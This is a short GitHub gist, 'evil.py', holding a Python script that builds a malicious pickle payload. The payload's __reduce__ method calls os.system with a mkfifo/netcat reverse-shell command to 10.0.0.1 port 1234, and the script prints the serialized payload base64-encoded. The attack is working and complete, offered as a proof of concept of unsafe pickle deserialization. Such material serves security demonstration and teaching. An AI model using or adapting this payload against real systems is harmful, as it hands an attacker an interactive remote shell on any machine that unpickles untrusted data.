Skip to content

Instantly share code, notes, and snippets.

@pablogsal
Created October 23, 2023 08:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pablogsal/230fa6528f920c22bc78ab3f6cf2a428 to your computer and use it in GitHub Desktop.
Save pablogsal/230fa6528f920c22bc78ab3f6cf2a428 to your computer and use it in GitHub Desktop.
evil.py
import pickle
import base64
import os
class Evil:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(Evil())
print(base64.b64encode(pickled))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment